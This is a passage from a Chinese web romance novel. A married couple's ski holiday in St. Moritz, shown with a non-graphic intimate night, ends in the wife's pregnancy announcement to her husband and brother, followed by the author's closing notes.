当来到男主角举着纸板告白那段时,叶瓷告诉蔺之序,“每次看到这里都觉得好浪漫。” 蔺之序:“需要倒回一点吗?” 叶瓷点点头。 一个多小时过去,影片接近尾声,叶瓷也已经有些困了。 “累了就睡。”蔺之序的声音从头顶传来。 “等片尾曲。”她闭着眼嘟囔。 当熟悉的钢琴声终于响起又结束,叶瓷感觉到他伸手拿过遥控器按了暂停。 蔺之序:“睡吧。” 叶瓷在沙发躺好,“蔺之序,我想在这儿睡,还要你陪着我。” 蔺之序抚抚她头发,“嗯,我陪你。” 沙发很软,她躺下没多久就睡着了。 不知过了多久,叶瓷醒来,壁炉里的松木偶尔爆开细小火星,发出令人安心的声响。 她身上搭着条羊绒毯,她知道,那是她睡着后,蔺之序替她盖上的。 这时,她视线微转,就看见了一旁的蔺之序。 他正靠坐在沙发里,膝上放着打开的笔记本电脑,侧颜专注。 他在处理工作。 房间很安静,屏幕光线与壁炉的火光在他身上交织,轮廓格外沉静。 叶瓷注意到,他的一只手放在触控板上,另一只手正无意识地搭在她蜷缩着的小腿旁。 叶瓷静静地看着他,她一直很尊重他的工作时间,从不轻易打扰。 但是此刻,在这异国雪山的静谧夜晚,叶瓷的理智轻轻断了。 她想任性一回。 这样想时,叶瓷慢慢坐起身,她没有出声,羊绒毯随着她的动作从肩头滑落。 一阵窸窣。 蔺之序还是察觉到了动静,他敲击键盘的手指悬滞,侧过头来看她,“醒了?” 叶瓷没有回答,她看着他,然后,在蔺之序带着些许询问的眸光里,俯身过去。 她的手臂如藤蔓,轻轻就圈住了他的脖颈。 突如其来的动作让蔺之序怔了下,下一秒,在他尚未反应过来时,叶瓷已经低下头,吻住了他的唇。 蔺之序能清晰地感受到她圈在自己颈后的手臂力道在缓慢加重。 笔记本电脑屏幕因为无人操作,暗了下去。 叶瓷的吻持续了很久,在她用尽了冲动带来的勇气后,她结束了这个吻。 蔺之序看见她脸颊上的红晕,这时,他将笔记本电脑拿开,合上,随手放在了旁边的地毯上。 然后,他抬起手捧住她的脸颊,拇指在她微烫肌肤上摩挲着。 “怎么了?” 蔺之序低声问。 叶瓷看着他眼底深不见底的幽暗,她抿了抿还残留着他温度的唇,声音很轻,“没怎么,就是想……亲你了。” 蔺之序低下头,目光锁住她,“这不够。” 叶瓷疑惑,“什么不够?” 蔺之序的声音里已染了滚烫欲望,他没回答她,而是又强调了一遍,“还远远不够。” 说完,他没给叶瓷反应的时间,便吻上她。 不同于叶瓷的浅尝辄止,蔺之序十分强势,让她几乎招架不住。 唇齿纠缠间,他伸手拿过放在旁边小几上的智能控制面板,指尖轻点。 原本透明的电动窗帘开始无声合拢,缓缓隔绝了外部的星空和雪山,将这方天地彻底变成绝对私密的领域。 当最后一道缝隙消失,室内只剩下壁炉的火光阴影。 自从上次两人坦诚地聊过关于孩子的话题,有了“顺其自然”的默契后,他们之间便少了那层最薄的隔阂。 沙发上的柔软布料很快被蒸出暖意,炉火明灭起伏,映着墙上的影子。 叶瓷知道,对于他来说,一次是远远不够的。 “回卧室。” 她嗓音已软得不像话。 蔺之序吻她的脸颊,难得的没有听从,“就在这里。” 壁炉里,火焰噼啪作响。 松木和桦木正在熊熊燃烧,松木持续发出强劲的迸裂,桦木在这迸裂之下,释放着炽热的光。 松脂的木质香气与桦木略带甜味的气息交织在一起。火焰时而低伏,在木柴表面流淌,时而高涨,舔舐着石砌的内壁。 经久燃烧,桦木终于不堪重负,突然从中裂开,露出内部炽热的芯材,火光也顿时明亮了几分。 叶瓷觉得今晚的蔺之序格外不同,以前,他总会顾及她的感受,今晚却像是非要逼出她的每一分失控。 后来,在浴室。 温热的水流从花洒倾泻而下,水汽在浴室里蒸腾。 他吻上她微热的唇瓣,徐徐缓缓。 终于,雾气朦胧镜面,只余水声潺潺。 凌晨的玻璃房,星空清冷璀璨。 “明天还要滑雪……” “明天休息。”喘息稍平,又补了一句,“后天再滑。” 天光微熹,那个主动的吻带来的悸动,此刻终于被彻底满足—— 作者有话说:明天正文完结,上午九点更。 感谢各位宝儿的喜爱和追更[红心]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【正文完】 第61章 第61章 合格教练 叶瓷是在第三天清晨才下床的。 身体像是被打开了陌生的开关, 每一处肌肉都在诉说着那晚的放纵。 那些她从未想象过的角度和深度,在他强势的引导下一次次突破。 当她醒来时,蔺之序已经晨跑回来。 她睁开眼, 就看见他正穿戴整齐地坐在卧室的书桌前处理工作。 她当时还问了一句, 今天没去跑步吗, 他笑道,已经回来了。 不管在哪儿, 他的作息一向规律。 叶瓷下床去浴室,刚沐浴完, 身上还带着湿润水汽, 这时,浴室门被轻轻推开, 蔺之序进来了。 他来到她身后, 手环上她的腰。 接着, 两人的目光在镜中相遇。 蔺之序:“好些了吗?” 叶瓷点点头,“好多了。” 蔺之序低头在她发间闻了闻, 熟悉的橙花香。 他扳过她的肩,两人面对面。 他知道她接下来还要护肤,扫一眼台面上的瓶瓶罐罐, “我帮你?” 叶瓷仰头看他,笑了下, “不用了, 我自己可以。”说着,她开始往手心倒那瓶质地轻盈的身体乳。 蔺之序看着镜子里的她,“我可以看看吗?” 叶瓷手上的动作顿了下,昨天清晨,他也是这样检查。 不过, 那时她身上痕迹更明显。 蔺之序当时眉头就皱紧了,立刻要给家庭医生打电话。 叶瓷拦住了,说不用那么兴师动众。 此刻,睡袍堆在臂弯,那些过于激烈的痕迹确实淡去了不少,只留下一些浅粉色的印记。 蔺之序反握住她的手,另一只手接过她的身体乳:“我帮你。” 叶瓷默了片刻,抬眼,她松开手:“好。” 蔺之序挤了些乳白色的膏体在掌心,搓匀了,才小心地贴上她的皮肤。 过程中,两人都没有说话,只有护肤品罐子偶尔碰触台面的声响。 全部涂抹完毕,蔺之序拿起台面上的精华,拧开滴管,在她掌心滴了两滴:“这个你自己来。” 叶瓷接过,开始涂抹脸部。 蔺之序就在她旁边看着,人靠在洗手台上,目光落在她轻拍脸颊的手指。 “天气预报说明天还是晴天,你可以再休息一天,我们明天再去滑雪。” 叶瓷笑:“不用,今天就可以去。” 蔺之序没再坚持,低头亲了亲她的发顶,“好。” 早餐后,叶瓷推开通往院子的玻璃门。 抵达那日已是傍晚,昨天又在床上躺了一天,直到此刻,她才真正看清这院子的全貌。 车库旁有几棵高大的云杉,庭院没有过多的修剪痕迹,而是与背后的山林自然衔接。 木质平台向前延伸,边缘是自然沉降的山坡,站在院子里,视线可以毫无阻碍地望见圣莫里茨湖。 叶瓷拿出手机拍照。 雪景很上镜,怎么拍都好看。 蔺之序拿着叶瓷的围巾出来时,就看见她的侧影,奶油白羽绒服,深色牛仔裤束在长靴里,她正在拍风景,数秒,又低头看拍摄效果。 蔺之序走到她身边,“冷吗?” 叶瓷笑,“有点儿。” 蔺之序也笑,然后抬手仔细给她围好围巾。 “照片拍好了吗?”蔺之序又问她。 叶瓷的声音从围巾里传出来,“快了。”她想把屋檐下那盏覆雪的古铜色壁灯也纳入镜头。 “你回房间等我吧,我一会儿就好。” 蔺之序:“没事,我等你。”说着,他站在了稍远的位置。 叶瓷正在找拍摄角度,蔺之序没有打扰她,眼睛追着她的身影,直到数分钟后,叶瓷拍摄结束。 “好了。” 蔺之序笑着走近,他穿着黑色的长款羽绒服,没系扣子,露出里面的深色羊绒衫。这时,他用宽大的羽绒服下摆将她娇小的身子裹进去,形成一个密不透风的怀抱。 叶瓷:“这里好美。” 蔺之序垂眸,“喜欢?” 叶瓷点头,“嗯。” 蔺之序抬手,将她颊边被风吹乱的头发别到耳后,“那,以后我们每年都来。” 叶瓷笑,“好。” 半个小时后,黑色的奔驰GLS沿着清扫干净的私人车道平稳下行。 不足十分钟,车子便停进了科尔维利亚缆车站旁带有“Reserved”标识的专属车位。 身穿深色制服的雪场工作人员早已等候在旁,见到车牌便快步上前,恭敬地拉开车门。 空气冷冽清透,恩加丁山谷雪坡连绵。 因为是晴天,太阳照下来,整个世界呈现出炫目的白与蓝。 山顶的风远比山下凛冽,风里还裹挟着细碎的雪粒子。 蔺之序拉下雪镜,调整了一下呼吸,白色水汽氤氲在冰冷的空气中,又迅速消散。 他穿着一身哑光黑色雪服,没有任何冗余的设计或夸张的logo,但叶瓷一眼就看出,这是由专业工作室手工定制的装备。 这时,他弯下腰,帮叶瓷检查固定器的锁止情况,确认无误后,才又直起身。 叶瓷想起当初哥哥给自己的那份关于蔺之序的资料,她后来仔细看过几遍,她知道,蔺之序的滑雪技术是专家级的。 其实,从他调整雪镜和身体重心的分配动作上,懂行的人一眼就能看出来。 叶瓷的滑雪技术还行,但她自知,没法与蔺之序相比。 他今天主动放弃了更具挑战性的□□和野雪区,选择陪她一起在红道上滑行。 “今天雪质不错,是粉雪,没那么硬。你跟在我后面,顺着我的辙走,感觉不对就控速,别硬撑。” 叶瓷:“好。” 她说完,就见蔺之序身体前倾,雪杖在雪地上轻巧一点,整个人便迅捷地滑了出去。 蔺之序没有追求极限速度,也没有做任何炫技式的大幅度回转,他身体重心压得很低,每一个转弯都十分高效,有着冷静计算后的美感。 这种游刃有余的掌控感,远比单纯的疯狂加速更让人觉得深不可测。 叶瓷跟在他后面,他滑出的路径完美避开了所有潜在的冰面和暗沟,按照他滑行的轨迹,确实轻松很多。 没过多久,蔺之序在一个视野开阔的缓坡停下。 他摘下一只手套,抬手给稍后滑到的叶瓷指了下刚才下来的路线,“看到上面那个左转的弯道了吗?下次你到那个位置,可以再提前一点点开始转体,重心稍微往回收一点,不然板尾容易搓雪,会影响控制和速度。” 叶瓷点点头,护脸下拉,露出被冷空气浸润得干净剔透的脸,“你刚才怎么知道右边那片雪况更好?” 蔺之序:“刚才坐缆车上行的时候,看到有几个人从那边滑过,溅起的雪尘很蓬松,说明那边是早上刚压过的雪道,还没被太阳晒瓷实,滑起来更舒服。”他顿了顿,带着点难得的轻松,“当然,也有猜的成分,运气不错。” 叶瓷笑。 蔺之序看着她,“累吗?” 平心而论,叶瓷滑得不算顶尖,但她的姿态非常漂亮。 今天她穿了一身烟灰粉的雪服,眉眼清澈,呼出的白气在她面前袅袅消散,让她在这种极寒环境里,平添了易碎又生动的美感。 蔺之序看着她,突然想起前天夜里,她眼尾泛红,脸颊湿润的模样。 每一个细微的颤抖和不自知的娇嗔,都像浓烈的酒,浸醉了他引以为傲的理智。 蔺之序承认,自己确实过分了。 那些在清醒时仅仅掠过脑海,觉得不该也不能对她做的事情,在那个夜晚,通通变成了现实。 他像个初次尝到甜头的毛头小子,又像是蛰伏已久的猎食者,不知餍足。 理智不是没有挣扎过,它在一旁冷眼提醒他该温柔该克制。 可是没有用。 看着她动人的模样,所有的理智都分崩离析。 在那样的氛围里,他只想把她刻进骨血里,想看她为自己彻底绽放,想在每一寸,里里外外,都灌上自己的气息。 那种强烈的占有和渴望,超出了他过往所有的认知。 此刻,想起她刚才全然信任地跟在自己身后,因为成功滑下一段雪道而眼睛发亮的样子,那种熟悉的躁动又开始在血液里隐隐作祟。 蔺之序深吸一口冰冷的空气,压下心头欲念。 “前面那段,靠近云杉林旁边的小道,弯道挺有意思,坡度也合适。”他重新戴好手套,声音透过护脸传来,刻意放得平稳,“去试试?我带你。” 他需要做点什么,来转移注意力,比如,专注于当好一个合格的滑雪教练。 叶瓷点头,“好。” 蔺之序再次启程,这次速度控制得更为平缓,确保她能够轻松跟上。 风在耳边呼啸,他一边观察着前方的路线,同时,那抹烟灰粉的身影,始终在他视野的余光里。 滑雪回来的路上,叶瓷靠在座椅里。 今天在红道上滑得很顺畅,全程跟着蔺之序划出的路线,几乎没费什么多余的力气,但高度集中的精神和持续的体力输出,还是让她在松弛下来后,感到浑身肌肉发软。 回到山腰的豪宅,叶瓷简单用了些午餐,就回卧室休息了。 这一觉睡得很沉,再醒来时,窗外已是墨蓝夜色。 她走出卧室,发现蔺之序不在客厅。 壁炉里的火安静地燃着,她循着隐约的光亮走向玻璃房。 清冷空气流动。 她一眼就看到了站在那里的蔺之序,而他闻声也回过头来。“醒了?” “嗯。”叶瓷走过去。 今夜天气很好,没有云彩,繁星缀满整个天幕。 蔺之序伸出手,将她带入怀里。 “还记得在黔东南住吊脚楼那晚吗?你说这里的星星很亮,我本来打算第二天晚上带你去更开阔的地方看星星,结果,我喝醉了。” 叶瓷侧过脸看他,她记得自己当时确实说过一句星星很亮的话,不过他的打算,她不知。 蔺之序接着道,“今晚,算是弥补那天的遗憾吧。” 叶瓷笑,“那我们就看一辈子的星星。” 蔺之序低头看她,星光如水,淌在她带笑的眉眼间,感觉星星就在她眼睛里一样。 然后,他俯下身,将吻印在她的发顶,“好。” —— 春寒料峭。 二月底,京北再一次迎来了降雪,从清早就飘起细碎的雪花。 叶瓷与首席版师陈姐俯身在一件即将完工的礼服前。 两人讨论着几个细节问题,半小时后,叶瓷直起身,“那就辛苦陈姐了,下午我们再试一次动态效果。” “放心交给我。”陈姐爽快应下。 叶瓷回到自己的办公室,她倒了杯温水,靠在办公桌边慢慢喝着。 很快,一股难以抵抗的困倦席卷过来,像是有人突然抽走了她全身的力气。 最近总是这样。 她勉强支撑着走到沙发边,本想靠着小憩五分钟,结果很快就陷入了深沉睡眠。 后来,她被敲门声惊醒。 “请进。” 小于拿着几份文件进来:“叶总监,这是需要您签字的供应商合同和下午会谈的最终确认单。” “好,放桌上吧。” 叶瓷深吸一口气,起身走到办公桌后,快速浏览了一遍文件内容,确认无误后签上名字。 小于拿着签好的文件离开后,办公室重新安静下来。 叶瓷没有立刻回到工作状态,她再次靠回沙发里,接连好些天了,她总像睡不够似的,精力也大不如前,稍微集中精神工作一会儿就感到头晕乏力,只想躺下。 她想,大概是这段时间太累了。 她拿起手机,想看看时间,目光却无意间扫过屏幕上一个标记着生理期的日历APP图标。 手指顿住。 她一向很规律,误差最多不超过两天。 这次已经推迟一周多了? 叶瓷的心跳突然拔高,一个模糊的念头立即在她脑中闪现。 她快速看了眼时间,距离工作室正常下班还有半个小时。 没有任何犹豫,叶瓷拿起手机拨通了司机的电话,“小李,今天不用来接我了,我自己开车回家。” 挂了电话,她整理好桌面,拿起包和车钥匙,下了地下车库。 黑色的保时捷Panamera平稳滑出地库。 叶瓷没有直接回家,而是在经过一个大型连锁药店时,找了个路边停车位。 推开车门,她裹紧大衣,快步走进药店。 她目标明确地走向计生用品区域,目光在货架上快速扫过,最终,她拿了一盒最主流的品牌,手指触碰到包装盒时,心跳又不受控制地加快了几分。 结账时,年轻的店员接过扫码,很自然地抬头看了她一眼,微笑提醒道:“女士,这个最好早上的时候验,结果最准确。” 叶瓷点点头:“好的,谢谢。” 回到家中,保姆已经做好了晚餐。 叶瓷没什么胃口,草草吃了几口便回了卧室。 蔺之序两天前飞去了纽约谈一个重要项目,周末才能回来。 洗漱过后,叶瓷把那个盒子放进了浴室。 晚上十点多,蔺之序的视频通话请求准时响起。 屏幕里,背景是纽约一家顶级酒店套房的落地窗,他穿着白衬衣,领带已经打好,显然要开始一天的工作。 叶瓷靠在床头,看着他,“用过早餐了?” “嗯。”蔺之序调整了一下手机角度,“你脸色怎么有点苍白?是不是又熬夜了?” “没有,可能是灯光。” 叶瓷下意识地摸了摸脸,心中那个呼之欲出的猜测在舌尖滚了几滚,最终还是咽了回去。 她想,不确定的事情,还是先别让他分心。 蔺之序:“晚饭吃的什么?” 叶瓷想了想,“小米粥,雪菜包子,还有一小盘蔬菜沙拉。” 蔺之序笑,两人又聊了几句,他正色道,“我等下还有个重要的早餐会。你记得早点休息,别太累。” 叶瓷:“知道了。” 蔺之序:“嗯,挂了?” 叶瓷点点头,“嗯。” 视频通话结束的提示音响起,屏幕暗了下去。 翌日清早,天色未明。 浴室里只亮着一盏镜前灯,光线清冷。 叶瓷站在洗手台前,拆开盒子包装,等待结果的时候,寂静无声,只有她自己的心跳。 数分钟,她垂眸,两条清晰的红色横杠。 叶瓷的呼吸骤然一凝,紧接着,胸腔里涌起一股带着眩晕感的喜悦,这喜悦立即冲散了连日来的疲惫。 她下意识将手覆在小腹上,那里依旧平坦。 她的第一个念头是告诉蔺之序。 打开手机,号码还未拨出,理智回笼。 纽约那边此刻正是深夜,他应该刚结束工作正在休息。 这样的惊喜还是当面分享比较好。 叶瓷深吸一口气,压下心头激荡。 餐桌上,她如常进食。 保姆熬的小米粥软糯温热,配上几样清爽小菜。 叶瓷吃得比平日更慢,也更专注,像是在确认身体真实的状态。 工作室的一天依旧排得很满。 例会,设计稿审核与面料供应商的远程沟通……她有条不紊地处理着每一件事,效率甚至比平时更高。 只是偶尔在回复邮件的间隙,或是起身倒水的片刻,手会无意识地掠过小腹。 傍晚时分,她没有回婚房去,而是驱车去了叶宅。 停车时,和叔笑着走过来,“小姐回来了!” 叶瓷点点头,然后问他,“哥哥最近还是很忙吗?” 和叔接过她手里的车钥匙,“是,大概今晚还是很晚才回来。” 推开门,一室暖意,还有淡淡的腊梅香。 客厅里,秦姨正坐在窗边的矮几前插花。 青瓷瓶里,几枝红梅疏朗有致,配着几片深绿的冬青叶,古朴清雅。 “小瓷回来了?”秦姨抬头。 “嗯。”叶瓷脱下大衣挂好,走到矮几旁。 她安静地看了一会儿秦姨插花,偶尔也拿起一枝花,比对着位置,轻轻放入瓶口。 秦姨:“今晚想吃什么?我现在去准备。” 叶瓷想了想,报了几样清淡的家常菜名。 秦姨笑着点头:“好,我这就去给小姐做好吃的。” 叶瓷没有跟去,她在客厅的沙发坐下。 屋内的暖气很足,窗外暮色四合,玻璃上凝了一层薄薄的水汽。 她本只想靠着沙发闭目养神,眼皮却越来越沉,后来竟在沙发里睡着了。 不知过了多久,秦姨喊醒她:“小瓷?饭好了。怎么在这儿睡着了?工作不要太拼命了,身体要紧。” 叶瓷睁开眼,有些迷蒙地眨了眨,很快,人也清醒过来。 她坐直身体,揉了揉额角:“嗯,知道了秦姨,就是有点累。” 餐桌上摆着热气腾腾的饭菜。 叶瓷刚拿起筷子,手机响了。 是蔺之序的视频请求。 接通,屏幕那头映出他俊朗的脸,背景光线有些暗。 蔺之序:“在吃饭?” “嗯。”叶瓷应着,然后她留意到车里的内饰,“你在车上?回来了?” 蔺之序笑,“刚落地。” 他调整了一下手机角度,让她看清自己,“在回去的路上。” 叶瓷的心跳快了一拍,面上却依旧平静:“我在叶宅这边,秦姨刚做了一桌好吃的。” 蔺之序笑,“好,我现在过去找你。” 叶瓷笑着点头,“嗯。” 放下手机,她看了看时间,又抬眼望向窗外。 夜色已浓,雪还在下,不过比来时已经小了许多。 “秦姨,我出去一下。”叶瓷说着起了身。 在玄关处,她拿起羽绒服穿上,又戴了一顶毛线帽,裹得严严实实。 和叔见她出了门,忙跟上来,“小姐,不是已经开饭了吗?你这是要去哪儿?” 叶瓷转脸看他,笑道,“我随便走走,和叔放心,我不会走远的。” 和叔脸上还是不放心,叶瓷想了个折中的办法,“那我就站在这里不再往前走,这样可以吗?” 和叔笑,“好。” 叶瓷站在大门口近处,林荫路两侧是高大的树木,此时,虬劲枝桠上覆着一层薄薄的新雪。 地灯亮着,雪花在光束里打着旋儿,簌簌落下。 数分钟过去,两道车灯穿透纷飞雪幕,由远及近,很快,黑色慕尚碾过薄雪,停在了叶宅门口。 司机先下车,绕到后座恭敬地打开车门,低声提醒:“蔺总,少奶奶在外面。” 蔺之序闻言,立即结束笔记本上的工作,抬眸。 隔着车窗,他看到了站在门廊光晕边缘,裹得像只小雪人似的叶瓷。 蔺之序迅速下车,“怎么在外面等?”他大步走到她面前,眉头微蹙,抬手摸她的脸颊,触到一片凉意。 叶瓷仰起脸,清亮眼底映出门廊的光和他担忧的脸。 这时,她伸出双臂环抱住他的腰,脸埋进他还带着外面寒气的大衣前襟里,嗓音带着闷闷的笑意:“等你的时候,一点儿也不觉得冷。” 蔺之序被她突如其来的拥抱撞得心口一软,接着,收紧了手臂。 抱了会儿,他低头,“进去吧,外面冷。” 他揽住她的肩,将人往怀里带了带,然而刚走出两步,叶瓷却停下了脚。 她转过身,依旧圈着他的腰,这时,蔺之序也停下,垂眸看她,带着询问。 叶瓷深吸了一口清冽的空气,又缓缓呼出。 她看着他的眼睛,一字一顿:“蔺之序,你要做爸爸了。” 声音不大,却瞬间击碎了雪夜的寂静。 蔺之序整个人定住了。 深邃眼眸骤然收缩,瞳孔里映出她认真的脸庞。 他脸上惯有的沉稳持重在刹那间被近乎空白的惊愕覆盖,紧接着,难以言喻的狂喜猛烈地冲击上来。 他张了张嘴,喉咙却像是被什么堵住,没能发出任何声音,只是一双黑眸一瞬不瞬地看着她。 良久,蔺之序收紧手臂,将叶瓷用力地拥进怀里,力道很大,几乎要将她揉碎在自己怀中。 即便隔着厚厚的衣物,叶瓷也能感受到他失控的心跳。 就在这时,一辆黑色的SUV滑到近前停下。 叶北庭推开车门下来,只一眼,他就看到了叶瓷和蔺之序的身影。 他正要绕过相拥的两人走向门口,叶瓷恰好从蔺之序怀里探出头,看到了他。 “哥哥!”她声音里还带着未褪尽的激动。 叶北庭停下脚步,转身。 这时,叶瓷已经从蔺之序怀中挣脱出来,快步走向他。 她脚步轻快,带着不自知的雀跃。 “走慢点,小心滑倒!” 蔺之序带着前所未有的紧张,目光紧紧追着她的影子。 叶瓷恍若未闻,走到叶北庭面前,像刚才拥抱蔺之序一样,也伸手抱住了他。 叶北庭接住,叶瓷从他怀里仰起脸,眼中是明亮的喜悦:“哥,你要做舅舅了!” 叶北庭一愣,数秒,他扶住叶瓷的胳膊,上下打量,半天,“真的?!” 叶瓷嗯一声,“真的。” 叶北庭笑,“那太好了!快,快回房间去,外面太冷了。” 他一边说,一边揽着叶瓷的肩膀就往门廊带,动作比蔺之序还要紧张几分。 叶瓷被哥哥揽着走向门口。 她回头看向蔺之序。 蔺之序正跟在两人身后,半米的距离,叶瓷冲他笑了下,又喊了声他的名字,“蔺之序。” 两人目光交汇。 没有言语,只有唇边同时漾开的心照不宣的笑意。 雪,还在无声飘落。 暖黄的门廊灯光下,叶北庭正拿出手机,笑里是掩不住的兴奋,他在跟外公报喜。 蔺之序迈开长腿,几步走到叶瓷身边,伸出手握住她。 他的手心很温暖。 叶瓷回握他,手指在他掌心轻轻挠了一下。 两人又是相视一笑。 蔺之序移了移身体,为她挡住侧面吹来的寒风,另一只手抬起,拂落她帽檐上沾着的几点雪花。 门内,灯火通明,温暖如春—— 作者有话说:正文完结啦[加油] 接下来就是叶小姐和蔺总,还有奶团子蔺亦初(小名“荔枝”)一家三口的温情日常~ 再次感谢各位宝儿们的追更和支持,承蒙喜爱,我会继续努力[彩虹屁] 我们下本见咯[红心]《以婚为名》娇蛮带刺×腹黑深情 喜欢戳专栏收藏么啾魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m